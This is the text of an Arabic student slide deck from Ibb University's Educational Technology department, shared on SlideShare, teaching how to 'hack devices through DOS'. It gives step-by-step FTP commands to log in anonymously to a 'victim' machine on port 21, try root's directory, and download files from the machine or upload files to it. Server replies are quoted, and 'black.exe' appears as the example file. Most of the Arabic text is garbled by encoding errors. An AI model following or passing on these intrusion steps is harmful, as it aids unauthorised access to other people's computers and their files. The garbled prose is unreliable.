SlideShare uma empresa Scribd logo
1 de 7
Baixar para ler offline
‫العلم‬ ‫كاتم‬ ‫في‬ ‫خير‬ ‫ال‬‫والمعلىمات‬ ‫التعليم‬ ‫تكنىلىجيا‬ ‫قسم‬-‫إب‬ ‫جامعة‬-‫اليمنية‬ ‫الجمهىرية‬‫الصفحة‬1
‫الجمؼوروـــــــظىالومنوــظ‬‫ى‬
‫جـــــــامــــــــــطـظىإب‬‫ى‬
‫كلوظىالتربوظ‬‫ى‬
‫ى‬‫قدمىتكنولوجواىالتطلومىوالمطلومات‬‫ى‬
‫ذطبظىتكنولوجواىالمطلوماتىواإلتصال‬‫ى‬
(‫منىىالطامىالجامطيى‬2012/2012‫)ىم‬‫ى‬
‫سلسة‬‫إ‬‫حتراف‬
‫العلم‬ ‫كاتم‬ ‫في‬ ‫خير‬ ‫ال‬‫والمعلىمات‬ ‫التعليم‬ ‫تكنىلىجيا‬ ‫قسم‬-‫إب‬ ‫جامعة‬-‫اليمنية‬ ‫الجمهىرية‬‫الصفحة‬2
‫بدمىاللهىالرحمنىالرحوم‬‫ى‬
‫الحمدللهىربىالطالمونىوالصالةىوالدالمىرلىىأذرفىخلقىال‬‫لهىمحمدىبنىربداللهىالصادقىاألمي‬‫ى‬
‫ى‬،،،،‫أمابطد‬‫ى‬
‫ًىرنىتربوتي‬‫ا‬‫أهدىىهذاىالطملىلروحىوالديىأبيىوأميىقدسىاللهىروحؼماىفيىالثرىىوجوزواىخور‬‫ى‬
‫كماى‬‫ودطدنيىأنىأهديىوىأقدمىهذاى‬‫المجؼودىالمتواضد‬‫ى‬‫ًى‬‫ا‬‫لكلىمنىرلمنيىحراف‬‫وربانيى‬‫ولجومدىالدادةى‬
،‫دكاترةىقدمىتكنولوجواىالتطلومىوالمطلوماتىبجامطظىإب‬‫ى‬‫فؼمىمصابوحىالدجىىالتيىتنورىلناىالطروقى‬
،‫نحوىالجنظىوالطلمىوالمطرفظ‬‫ى‬‫ًىأهدوه‬‫ا‬‫وأوض‬‫ى‬‫لزمالئيىالطالبىفيىصرحناىالذامخىتكنولوجواىالتطلومىبجمودى‬
‫ذطبظ‬،‫ى‬‫فأدئلىالمولىىرزوجلىأنىون‬،‫غدىبؼذاىالمحتوىىكلىمنىقصدة‬‫ى‬‫لطلبىالطلم‬.‫ى‬
‫ى‬‫أدئلىالله‬‫ى‬،‫ًىلوجؼهىالكروم‬‫ا‬‫رزوجلىأنىوجطلىهذاىالطملىخالص‬‫ى‬‫و‬‫أنىوجطلهى‬،‫ًىونتغدىبه‬‫ا‬‫رلم‬‫ى‬‫وندئلهى‬‫األجرى‬
،‫والجزاءىوالثواب‬‫ى‬‫أنهىوليىذلكىوالػادر‬‫ى‬.‫رلوظ‬‫ى‬
‫فإن‬‫ى‬‫أصبتىفوهىفمنىاللهىوإنىأخطأتىفمنىنغديىوالذوطانى‬،‫فالكمالىللهىوحدة‬،،‫ى‬
‫واللهى‬‫المدتطان‬...‫ى‬
------------------------------‫ى‬
‫فيىهذاىالمحتوىى‬‫دورةىإحترافوظىبدوطظىلذاذظىالدوز‬‫ى‬
‫وكوغوظىتعورها‬‫ى‬
‫ى‬
‫العلم‬ ‫كاتم‬ ‫في‬ ‫خير‬ ‫ال‬‫والمعلىمات‬ ‫التعليم‬ ‫تكنىلىجيا‬ ‫قسم‬-‫إب‬ ‫جامعة‬-‫اليمنية‬ ‫الجمهىرية‬‫الصفحة‬3
‫بسم‬‫هللا‬‫الرحمن‬‫الرحيم‬
َ‫الد‬ُ‫ٌى‬‫شسح‬‫وُفُح‬‫اخرتاق‬‫االجهصج‬ٓ‫ع‬‫طسَك‬‫اٌدوض‬
‫اخلطىج‬‫االوىل‬:‫ٌٕجاح‬َ‫اإللرذا‬‫جية‬ْ‫وا‬‫ذعسف‬‫اي‬IP‫ذثعه‬ْ‫وا‬ْ‫َىى‬‫ٌدي‬‫اٌضذُح‬‫اٌثىزخ‬12
‫ِفرىح‬‫و‬‫هى‬‫اٌثىزخ‬‫اخلاص‬‫تــ‬FTP
‫وٌرأود‬ِْٓ‫أ‬‫اٌثىزخ‬‫ِفرىح‬‫عٍُه‬ْ‫ا‬ًّ‫ذعرع‬‫تساِج‬ْ‫اٌعىا‬‫و‬ٍ‫ه‬‫وثريج‬
‫تعدِا‬‫ذرأود‬ْ‫ا‬‫اٌثىزخ‬‫ِفرىح‬ً‫ٕٔرم‬‫اىل‬
‫اخلطىج‬‫اٌثأُح‬‫و‬ٍ‫ه‬:
‫إضغط‬ًٍ‫ع‬
Start
ُ‫ث‬
Run
ُ‫ث‬‫اورة‬
ftp –n
‫ذطٍع‬‫ٌه‬‫ٔافدج‬‫يف‬‫اٌدوض‬‫ِىرىب‬‫عٍُها‬
FTP>
‫حلد‬‫هٕا‬ً‫و‬‫شٍء‬َ‫دتا‬
‫و‬َٓ‫تعد‬‫اورة‬
Open
ُ‫ث‬‫إضغط‬ًٍ‫ع‬
‫إدخاي‬
Enter
‫العلم‬ ‫كاتم‬ ‫في‬ ‫خير‬ ‫ال‬‫والمعلىمات‬ ‫التعليم‬ ‫تكنىلىجيا‬ ‫قسم‬-‫إب‬ ‫جامعة‬-‫اليمنية‬ ‫الجمهىرية‬‫الصفحة‬4
ً‫ذرذص‬‫عة‬‫إٌرُجح‬‫اٌراٌُح‬
FTP>
To
‫أورة‬‫جٕة‬
To
ُ‫زل‬IP‫اٌضذُح‬ُ‫ث‬‫إضغط‬ًٍ‫ع‬‫إدخاي‬
‫و‬‫احلني‬ُ‫اه‬‫جصء‬
‫إدا‬‫حتصٍد‬ًٍ‫ع‬‫هرا‬‫اٌسد‬‫فمد‬‫ختطُد‬‫خطىج‬
Connected to
assassin.com/
112websrv1 Microsoft FTP Service (Version 4.0.)
‫و‬ِْ‫ا‬‫أورة‬‫اٌىراتح‬‫اٌراٌُح‬
ftp>quote user ftp
‫إدا‬‫حتصٍد‬ًٍ‫ع‬‫هرا‬‫اٌسد‬‫فمد‬‫ختطُد‬‫خطىج‬
332Anonymous acces allowed, send identify (e-mail name) as password.
ِْ‫وا‬‫أورة‬‫اٌىراتح‬‫اٌراٌُح‬
ftp>quote cwd ~root
‫إدا‬‫حتصٍد‬ًٍ‫ع‬‫هرا‬‫اٌسد‬‫فمد‬‫ختطُد‬‫خطىج‬
032Please login with USER and PASS
‫العلم‬ ‫كاتم‬ ‫في‬ ‫خير‬ ‫ال‬‫والمعلىمات‬ ‫التعليم‬ ‫تكنىلىجيا‬ ‫قسم‬-‫إب‬ ‫جامعة‬-‫اليمنية‬ ‫الجمهىرية‬‫الصفحة‬5
ُ‫ث‬‫أورة‬‫اٌىراتح‬‫اٌراٌُح‬
ftp>quote pass ftp
‫إدا‬‫حتصٍد‬ًٍ‫ع‬‫هرا‬‫اٌسد‬‫فمد‬‫ختطُد‬‫خطىج‬
‫و‬‫جنذد‬‫يف‬َ‫اإللرذا‬ٍٕ‫َع‬‫االخرتاق‬
132Anonymous user logged in.
‫وأد‬ْ‫اال‬‫يف‬‫جهاش‬‫اٌضذُح‬‫ِا‬‫عٍُه‬‫اال‬ْ‫ا‬َ‫ذمى‬‫تإظرعّاي‬‫ألواِس‬‫ا‬‫إل‬ٍ‫فر‬ٍ‫ت‬
‫و‬‫طثعا‬ٌٓ‫اِس‬‫عٍُها‬‫ِسوز‬َ‫اٌىسا‬ٍ‫ٌى‬‫ال‬‫ذمعىا‬‫يف‬‫ادلشىٍح‬‫ايل‬‫ولعد‬‫فُها‬‫و‬ٍ‫ه‬‫جناح‬َ‫اإللرذا‬ِٓ
ْ‫دو‬‫ِا‬‫أعسف‬‫و‬‫ال‬‫فىسج‬ًٍ‫ع‬‫اواِس‬‫ا‬‫إل‬ٍ‫فر‬ٍ‫ت‬‫و‬‫إذا‬‫ازدمت‬ْ‫ا‬‫ذضذىىا‬‫صاز‬‫يل‬‫أوثس‬ِٓ12‫دلُمح‬‫و‬
‫أا‬‫رلّد‬ٌ‫األَد‬‫و‬‫اٌضذُح‬‫عاٌمح‬ِْٓ‫دو‬ْ‫أ‬ًّ‫أع‬ٌ‫أ‬‫شٍء‬ْ‫وعشا‬‫ورا‬
‫لّد‬‫وجثد‬‫االواِس‬ْ‫عشا‬‫ذطثمىها‬‫ِثاشسج‬‫تعد‬‫جناح‬‫االخرتاق‬
Pwd
ٍ‫ٌى‬‫ذعسف‬‫ِا‬‫حيرىَه‬‫اذلازد‬‫دَعه‬
Cd
َ‫إللرذا‬‫رلٍد‬‫ِثاي‬
Cd black
‫يف‬‫هدا‬‫ادلثاي‬‫لّد‬َ‫تإلرذا‬‫رلٍد‬ًّ‫ادلع‬‫تالن‬
Ls
ٍ‫ٌى‬‫َرضخ‬‫ٌه‬‫زلرىي‬‫اجملٍد‬‫أو‬‫اذلازد‬‫دَعه‬
Get
ٍ‫ٌى‬ًّ‫حت‬‫اىل‬‫ظطخ‬‫ادلىرة‬‫اخلاص‬‫جب‬‫هاشن‬
‫العلم‬ ‫كاتم‬ ‫في‬ ‫خير‬ ‫ال‬‫والمعلىمات‬ ‫التعليم‬ ‫تكنىلىجيا‬ ‫قسم‬-‫إب‬ ‫جامعة‬-‫اليمنية‬ ‫الجمهىرية‬‫الصفحة‬6
ًٍ‫وع‬ًُ‫ظث‬‫ادلثاي‬
Get black.exe
Put
Get
ٍٕ‫َع‬ْ‫ا‬‫ذأخر‬‫ٍِف‬ِٓ‫ظطخ‬‫ادلىرة‬ِٓ‫جهاشن‬‫و‬‫ذضعه‬‫يف‬
‫يف‬‫جهاش‬‫اٌضذُح‬
‫العلم‬ ‫كاتم‬ ‫في‬ ‫خير‬ ‫ال‬‫والمعلىمات‬ ‫التعليم‬ ‫تكنىلىجيا‬ ‫قسم‬-‫إب‬ ‫جامعة‬-‫اليمنية‬ ‫الجمهىرية‬‫الصفحة‬7
‫ٔرّىن‬ُ‫ٌى‬‫اٌفائدج‬ًّ‫اٌعظ‬‫مجُعا‬،،
‫وال‬‫ذٕعىٔا‬ُِٓ‫دعائى‬‫اٌطُة‬،،
‫إلى‬‫هنا‬‫ى‬‫إنتؼتىدورتناىاإلحترافوظ‬‫ى‬
‫فإن‬‫أصبت‬‫فمن‬‫الله‬‫ى‬‫تطالىى‬‫وإن‬‫أخطأت‬‫فمن‬‫نغدي‬‫والذوطان‬.‫ى‬
‫وادلعٍىِاخ‬ ٍُُ‫اٌرع‬ ‫ذىٕىٌىجُا‬ ُ‫لع‬
‫إب‬ ‫جاِعح‬–‫إٌُُّح‬ ‫اجلّهىزَح‬
ٌ‫اٌظفس‬ ‫دعني‬ ‫/عثداجلثاز‬ ‫إعداد‬
///‫ا‬ َ‫َى‬ /‫ادلىافك‬‫خلُّط‬-9/21/1220َ

Mais conteúdo relacionado

Mais de Abduljabbar Al-dhufri

الملك الأيهم وجزيرة الخلود
الملك الأيهم وجزيرة الخلودالملك الأيهم وجزيرة الخلود
الملك الأيهم وجزيرة الخلودAbduljabbar Al-dhufri
 
بحث عن حوادث السعودية
بحث عن حوادث السعوديةبحث عن حوادث السعودية
بحث عن حوادث السعوديةAbduljabbar Al-dhufri
 
الحكومة الإلكترونية في الأمارات دبي
الحكومة الإلكترونية في الأمارات دبيالحكومة الإلكترونية في الأمارات دبي
الحكومة الإلكترونية في الأمارات دبيAbduljabbar Al-dhufri
 
الملك الأيهم وجزيرة الخلود
الملك الأيهم وجزيرة الخلودالملك الأيهم وجزيرة الخلود
الملك الأيهم وجزيرة الخلودAbduljabbar Al-dhufri
 
نشاط تعليم إلكتروني 2
نشاط تعليم إلكتروني 2نشاط تعليم إلكتروني 2
نشاط تعليم إلكتروني 2Abduljabbar Al-dhufri
 
مفاهيم عامة في البناء المعلوماتي
مفاهيم عامة في البناء المعلوماتيمفاهيم عامة في البناء المعلوماتي
مفاهيم عامة في البناء المعلوماتيAbduljabbar Al-dhufri
 
بحث الشخصية والصحة النفسية
بحث الشخصية والصحة النفسيةبحث الشخصية والصحة النفسية
بحث الشخصية والصحة النفسيةAbduljabbar Al-dhufri
 
بحث إستراتيجية مراكز مصادر التعلم
بحث إستراتيجية مراكز مصادر التعلمبحث إستراتيجية مراكز مصادر التعلم
بحث إستراتيجية مراكز مصادر التعلمAbduljabbar Al-dhufri
 
إستبانة قسم تكنولوجيا التعليم والمعلومات
إستبانة قسم تكنولوجيا التعليم والمعلوماتإستبانة قسم تكنولوجيا التعليم والمعلومات
إستبانة قسم تكنولوجيا التعليم والمعلوماتAbduljabbar Al-dhufri
 
إستبانة نهائية تكنولوجيا التعليم والمعلومات
إستبانة نهائية تكنولوجيا التعليم والمعلوماتإستبانة نهائية تكنولوجيا التعليم والمعلومات
إستبانة نهائية تكنولوجيا التعليم والمعلوماتAbduljabbar Al-dhufri
 
إستبانة قسم تكنولوجيا التعليم والمعلومات
إستبانة قسم تكنولوجيا التعليم والمعلوماتإستبانة قسم تكنولوجيا التعليم والمعلومات
إستبانة قسم تكنولوجيا التعليم والمعلوماتAbduljabbar Al-dhufri
 
التخطيط الإستراتيجي مدخل لتنمية الموارد البشرية في الجامعات اليمنية نسخة...
التخطيط الإستراتيجي مدخل لتنمية الموارد  البشرية  في الجامعات  اليمنية   نسخة...التخطيط الإستراتيجي مدخل لتنمية الموارد  البشرية  في الجامعات  اليمنية   نسخة...
التخطيط الإستراتيجي مدخل لتنمية الموارد البشرية في الجامعات اليمنية نسخة...Abduljabbar Al-dhufri
 
‫رسالة دكتوراه د-نعان فيروز-التخطيط الإستراتيجي مدخل لتنمية الموارد البشرية ...
‫رسالة دكتوراه د-نعان فيروز-التخطيط الإستراتيجي مدخل لتنمية الموارد  البشرية ...‫رسالة دكتوراه د-نعان فيروز-التخطيط الإستراتيجي مدخل لتنمية الموارد  البشرية ...
‫رسالة دكتوراه د-نعان فيروز-التخطيط الإستراتيجي مدخل لتنمية الموارد البشرية ...Abduljabbar Al-dhufri
 

Mais de Abduljabbar Al-dhufri (14)

Hologram abduljabbar
Hologram abduljabbarHologram abduljabbar
Hologram abduljabbar
 
الملك الأيهم وجزيرة الخلود
الملك الأيهم وجزيرة الخلودالملك الأيهم وجزيرة الخلود
الملك الأيهم وجزيرة الخلود
 
بحث عن حوادث السعودية
بحث عن حوادث السعوديةبحث عن حوادث السعودية
بحث عن حوادث السعودية
 
الحكومة الإلكترونية في الأمارات دبي
الحكومة الإلكترونية في الأمارات دبيالحكومة الإلكترونية في الأمارات دبي
الحكومة الإلكترونية في الأمارات دبي
 
الملك الأيهم وجزيرة الخلود
الملك الأيهم وجزيرة الخلودالملك الأيهم وجزيرة الخلود
الملك الأيهم وجزيرة الخلود
 
نشاط تعليم إلكتروني 2
نشاط تعليم إلكتروني 2نشاط تعليم إلكتروني 2
نشاط تعليم إلكتروني 2
 
مفاهيم عامة في البناء المعلوماتي
مفاهيم عامة في البناء المعلوماتيمفاهيم عامة في البناء المعلوماتي
مفاهيم عامة في البناء المعلوماتي
 
بحث الشخصية والصحة النفسية
بحث الشخصية والصحة النفسيةبحث الشخصية والصحة النفسية
بحث الشخصية والصحة النفسية
 
بحث إستراتيجية مراكز مصادر التعلم
بحث إستراتيجية مراكز مصادر التعلمبحث إستراتيجية مراكز مصادر التعلم
بحث إستراتيجية مراكز مصادر التعلم
 
إستبانة قسم تكنولوجيا التعليم والمعلومات
إستبانة قسم تكنولوجيا التعليم والمعلوماتإستبانة قسم تكنولوجيا التعليم والمعلومات
إستبانة قسم تكنولوجيا التعليم والمعلومات
 
إستبانة نهائية تكنولوجيا التعليم والمعلومات
إستبانة نهائية تكنولوجيا التعليم والمعلوماتإستبانة نهائية تكنولوجيا التعليم والمعلومات
إستبانة نهائية تكنولوجيا التعليم والمعلومات
 
إستبانة قسم تكنولوجيا التعليم والمعلومات
إستبانة قسم تكنولوجيا التعليم والمعلوماتإستبانة قسم تكنولوجيا التعليم والمعلومات
إستبانة قسم تكنولوجيا التعليم والمعلومات
 
التخطيط الإستراتيجي مدخل لتنمية الموارد البشرية في الجامعات اليمنية نسخة...
التخطيط الإستراتيجي مدخل لتنمية الموارد  البشرية  في الجامعات  اليمنية   نسخة...التخطيط الإستراتيجي مدخل لتنمية الموارد  البشرية  في الجامعات  اليمنية   نسخة...
التخطيط الإستراتيجي مدخل لتنمية الموارد البشرية في الجامعات اليمنية نسخة...
 
‫رسالة دكتوراه د-نعان فيروز-التخطيط الإستراتيجي مدخل لتنمية الموارد البشرية ...
‫رسالة دكتوراه د-نعان فيروز-التخطيط الإستراتيجي مدخل لتنمية الموارد  البشرية ...‫رسالة دكتوراه د-نعان فيروز-التخطيط الإستراتيجي مدخل لتنمية الموارد  البشرية ...
‫رسالة دكتوراه د-نعان فيروز-التخطيط الإستراتيجي مدخل لتنمية الموارد البشرية ...
 

أختراق الأجهزة عن طريق الدوز

  • 1. ‫العلم‬ ‫كاتم‬ ‫في‬ ‫خير‬ ‫ال‬‫والمعلىمات‬ ‫التعليم‬ ‫تكنىلىجيا‬ ‫قسم‬-‫إب‬ ‫جامعة‬-‫اليمنية‬ ‫الجمهىرية‬‫الصفحة‬1 ‫الجمؼوروـــــــظىالومنوــظ‬‫ى‬ ‫جـــــــامــــــــــطـظىإب‬‫ى‬ ‫كلوظىالتربوظ‬‫ى‬ ‫ى‬‫قدمىتكنولوجواىالتطلومىوالمطلومات‬‫ى‬ ‫ذطبظىتكنولوجواىالمطلوماتىواإلتصال‬‫ى‬ (‫منىىالطامىالجامطيى‬2012/2012‫)ىم‬‫ى‬ ‫سلسة‬‫إ‬‫حتراف‬
  • 2. ‫العلم‬ ‫كاتم‬ ‫في‬ ‫خير‬ ‫ال‬‫والمعلىمات‬ ‫التعليم‬ ‫تكنىلىجيا‬ ‫قسم‬-‫إب‬ ‫جامعة‬-‫اليمنية‬ ‫الجمهىرية‬‫الصفحة‬2 ‫بدمىاللهىالرحمنىالرحوم‬‫ى‬ ‫الحمدللهىربىالطالمونىوالصالةىوالدالمىرلىىأذرفىخلقىال‬‫لهىمحمدىبنىربداللهىالصادقىاألمي‬‫ى‬ ‫ى‬،،،،‫أمابطد‬‫ى‬ ‫ًىرنىتربوتي‬‫ا‬‫أهدىىهذاىالطملىلروحىوالديىأبيىوأميىقدسىاللهىروحؼماىفيىالثرىىوجوزواىخور‬‫ى‬ ‫كماى‬‫ودطدنيىأنىأهديىوىأقدمىهذاى‬‫المجؼودىالمتواضد‬‫ى‬‫ًى‬‫ا‬‫لكلىمنىرلمنيىحراف‬‫وربانيى‬‫ولجومدىالدادةى‬ ،‫دكاترةىقدمىتكنولوجواىالتطلومىوالمطلوماتىبجامطظىإب‬‫ى‬‫فؼمىمصابوحىالدجىىالتيىتنورىلناىالطروقى‬ ،‫نحوىالجنظىوالطلمىوالمطرفظ‬‫ى‬‫ًىأهدوه‬‫ا‬‫وأوض‬‫ى‬‫لزمالئيىالطالبىفيىصرحناىالذامخىتكنولوجواىالتطلومىبجمودى‬ ‫ذطبظ‬،‫ى‬‫فأدئلىالمولىىرزوجلىأنىون‬،‫غدىبؼذاىالمحتوىىكلىمنىقصدة‬‫ى‬‫لطلبىالطلم‬.‫ى‬ ‫ى‬‫أدئلىالله‬‫ى‬،‫ًىلوجؼهىالكروم‬‫ا‬‫رزوجلىأنىوجطلىهذاىالطملىخالص‬‫ى‬‫و‬‫أنىوجطلهى‬،‫ًىونتغدىبه‬‫ا‬‫رلم‬‫ى‬‫وندئلهى‬‫األجرى‬ ،‫والجزاءىوالثواب‬‫ى‬‫أنهىوليىذلكىوالػادر‬‫ى‬.‫رلوظ‬‫ى‬ ‫فإن‬‫ى‬‫أصبتىفوهىفمنىاللهىوإنىأخطأتىفمنىنغديىوالذوطانى‬،‫فالكمالىللهىوحدة‬،،‫ى‬ ‫واللهى‬‫المدتطان‬...‫ى‬ ------------------------------‫ى‬ ‫فيىهذاىالمحتوىى‬‫دورةىإحترافوظىبدوطظىلذاذظىالدوز‬‫ى‬ ‫وكوغوظىتعورها‬‫ى‬ ‫ى‬
  • 3. ‫العلم‬ ‫كاتم‬ ‫في‬ ‫خير‬ ‫ال‬‫والمعلىمات‬ ‫التعليم‬ ‫تكنىلىجيا‬ ‫قسم‬-‫إب‬ ‫جامعة‬-‫اليمنية‬ ‫الجمهىرية‬‫الصفحة‬3 ‫بسم‬‫هللا‬‫الرحمن‬‫الرحيم‬ َ‫الد‬ُ‫ٌى‬‫شسح‬‫وُفُح‬‫اخرتاق‬‫االجهصج‬ٓ‫ع‬‫طسَك‬‫اٌدوض‬ ‫اخلطىج‬‫االوىل‬:‫ٌٕجاح‬َ‫اإللرذا‬‫جية‬ْ‫وا‬‫ذعسف‬‫اي‬IP‫ذثعه‬ْ‫وا‬ْ‫َىى‬‫ٌدي‬‫اٌضذُح‬‫اٌثىزخ‬12 ‫ِفرىح‬‫و‬‫هى‬‫اٌثىزخ‬‫اخلاص‬‫تــ‬FTP ‫وٌرأود‬ِْٓ‫أ‬‫اٌثىزخ‬‫ِفرىح‬‫عٍُه‬ْ‫ا‬ًّ‫ذعرع‬‫تساِج‬ْ‫اٌعىا‬‫و‬ٍ‫ه‬‫وثريج‬ ‫تعدِا‬‫ذرأود‬ْ‫ا‬‫اٌثىزخ‬‫ِفرىح‬ً‫ٕٔرم‬‫اىل‬ ‫اخلطىج‬‫اٌثأُح‬‫و‬ٍ‫ه‬: ‫إضغط‬ًٍ‫ع‬ Start ُ‫ث‬ Run ُ‫ث‬‫اورة‬ ftp –n ‫ذطٍع‬‫ٌه‬‫ٔافدج‬‫يف‬‫اٌدوض‬‫ِىرىب‬‫عٍُها‬ FTP> ‫حلد‬‫هٕا‬ً‫و‬‫شٍء‬َ‫دتا‬ ‫و‬َٓ‫تعد‬‫اورة‬ Open ُ‫ث‬‫إضغط‬ًٍ‫ع‬ ‫إدخاي‬ Enter
  • 4. ‫العلم‬ ‫كاتم‬ ‫في‬ ‫خير‬ ‫ال‬‫والمعلىمات‬ ‫التعليم‬ ‫تكنىلىجيا‬ ‫قسم‬-‫إب‬ ‫جامعة‬-‫اليمنية‬ ‫الجمهىرية‬‫الصفحة‬4 ً‫ذرذص‬‫عة‬‫إٌرُجح‬‫اٌراٌُح‬ FTP> To ‫أورة‬‫جٕة‬ To ُ‫زل‬IP‫اٌضذُح‬ُ‫ث‬‫إضغط‬ًٍ‫ع‬‫إدخاي‬ ‫و‬‫احلني‬ُ‫اه‬‫جصء‬ ‫إدا‬‫حتصٍد‬ًٍ‫ع‬‫هرا‬‫اٌسد‬‫فمد‬‫ختطُد‬‫خطىج‬ Connected to assassin.com/ 112websrv1 Microsoft FTP Service (Version 4.0.) ‫و‬ِْ‫ا‬‫أورة‬‫اٌىراتح‬‫اٌراٌُح‬ ftp>quote user ftp ‫إدا‬‫حتصٍد‬ًٍ‫ع‬‫هرا‬‫اٌسد‬‫فمد‬‫ختطُد‬‫خطىج‬ 332Anonymous acces allowed, send identify (e-mail name) as password. ِْ‫وا‬‫أورة‬‫اٌىراتح‬‫اٌراٌُح‬ ftp>quote cwd ~root ‫إدا‬‫حتصٍد‬ًٍ‫ع‬‫هرا‬‫اٌسد‬‫فمد‬‫ختطُد‬‫خطىج‬ 032Please login with USER and PASS
  • 5. ‫العلم‬ ‫كاتم‬ ‫في‬ ‫خير‬ ‫ال‬‫والمعلىمات‬ ‫التعليم‬ ‫تكنىلىجيا‬ ‫قسم‬-‫إب‬ ‫جامعة‬-‫اليمنية‬ ‫الجمهىرية‬‫الصفحة‬5 ُ‫ث‬‫أورة‬‫اٌىراتح‬‫اٌراٌُح‬ ftp>quote pass ftp ‫إدا‬‫حتصٍد‬ًٍ‫ع‬‫هرا‬‫اٌسد‬‫فمد‬‫ختطُد‬‫خطىج‬ ‫و‬‫جنذد‬‫يف‬َ‫اإللرذا‬ٍٕ‫َع‬‫االخرتاق‬ 132Anonymous user logged in. ‫وأد‬ْ‫اال‬‫يف‬‫جهاش‬‫اٌضذُح‬‫ِا‬‫عٍُه‬‫اال‬ْ‫ا‬َ‫ذمى‬‫تإظرعّاي‬‫ألواِس‬‫ا‬‫إل‬ٍ‫فر‬ٍ‫ت‬ ‫و‬‫طثعا‬ٌٓ‫اِس‬‫عٍُها‬‫ِسوز‬َ‫اٌىسا‬ٍ‫ٌى‬‫ال‬‫ذمعىا‬‫يف‬‫ادلشىٍح‬‫ايل‬‫ولعد‬‫فُها‬‫و‬ٍ‫ه‬‫جناح‬َ‫اإللرذا‬ِٓ ْ‫دو‬‫ِا‬‫أعسف‬‫و‬‫ال‬‫فىسج‬ًٍ‫ع‬‫اواِس‬‫ا‬‫إل‬ٍ‫فر‬ٍ‫ت‬‫و‬‫إذا‬‫ازدمت‬ْ‫ا‬‫ذضذىىا‬‫صاز‬‫يل‬‫أوثس‬ِٓ12‫دلُمح‬‫و‬ ‫أا‬‫رلّد‬ٌ‫األَد‬‫و‬‫اٌضذُح‬‫عاٌمح‬ِْٓ‫دو‬ْ‫أ‬ًّ‫أع‬ٌ‫أ‬‫شٍء‬ْ‫وعشا‬‫ورا‬ ‫لّد‬‫وجثد‬‫االواِس‬ْ‫عشا‬‫ذطثمىها‬‫ِثاشسج‬‫تعد‬‫جناح‬‫االخرتاق‬ Pwd ٍ‫ٌى‬‫ذعسف‬‫ِا‬‫حيرىَه‬‫اذلازد‬‫دَعه‬ Cd َ‫إللرذا‬‫رلٍد‬‫ِثاي‬ Cd black ‫يف‬‫هدا‬‫ادلثاي‬‫لّد‬َ‫تإلرذا‬‫رلٍد‬ًّ‫ادلع‬‫تالن‬ Ls ٍ‫ٌى‬‫َرضخ‬‫ٌه‬‫زلرىي‬‫اجملٍد‬‫أو‬‫اذلازد‬‫دَعه‬ Get ٍ‫ٌى‬ًّ‫حت‬‫اىل‬‫ظطخ‬‫ادلىرة‬‫اخلاص‬‫جب‬‫هاشن‬
  • 6. ‫العلم‬ ‫كاتم‬ ‫في‬ ‫خير‬ ‫ال‬‫والمعلىمات‬ ‫التعليم‬ ‫تكنىلىجيا‬ ‫قسم‬-‫إب‬ ‫جامعة‬-‫اليمنية‬ ‫الجمهىرية‬‫الصفحة‬6 ًٍ‫وع‬ًُ‫ظث‬‫ادلثاي‬ Get black.exe Put Get ٍٕ‫َع‬ْ‫ا‬‫ذأخر‬‫ٍِف‬ِٓ‫ظطخ‬‫ادلىرة‬ِٓ‫جهاشن‬‫و‬‫ذضعه‬‫يف‬ ‫يف‬‫جهاش‬‫اٌضذُح‬
  • 7. ‫العلم‬ ‫كاتم‬ ‫في‬ ‫خير‬ ‫ال‬‫والمعلىمات‬ ‫التعليم‬ ‫تكنىلىجيا‬ ‫قسم‬-‫إب‬ ‫جامعة‬-‫اليمنية‬ ‫الجمهىرية‬‫الصفحة‬7 ‫ٔرّىن‬ُ‫ٌى‬‫اٌفائدج‬ًّ‫اٌعظ‬‫مجُعا‬،، ‫وال‬‫ذٕعىٔا‬ُِٓ‫دعائى‬‫اٌطُة‬،، ‫إلى‬‫هنا‬‫ى‬‫إنتؼتىدورتناىاإلحترافوظ‬‫ى‬ ‫فإن‬‫أصبت‬‫فمن‬‫الله‬‫ى‬‫تطالىى‬‫وإن‬‫أخطأت‬‫فمن‬‫نغدي‬‫والذوطان‬.‫ى‬ ‫وادلعٍىِاخ‬ ٍُُ‫اٌرع‬ ‫ذىٕىٌىجُا‬ ُ‫لع‬ ‫إب‬ ‫جاِعح‬–‫إٌُُّح‬ ‫اجلّهىزَح‬ ٌ‫اٌظفس‬ ‫دعني‬ ‫/عثداجلثاز‬ ‫إعداد‬ ///‫ا‬ َ‫َى‬ /‫ادلىافك‬‫خلُّط‬-9/21/1220َ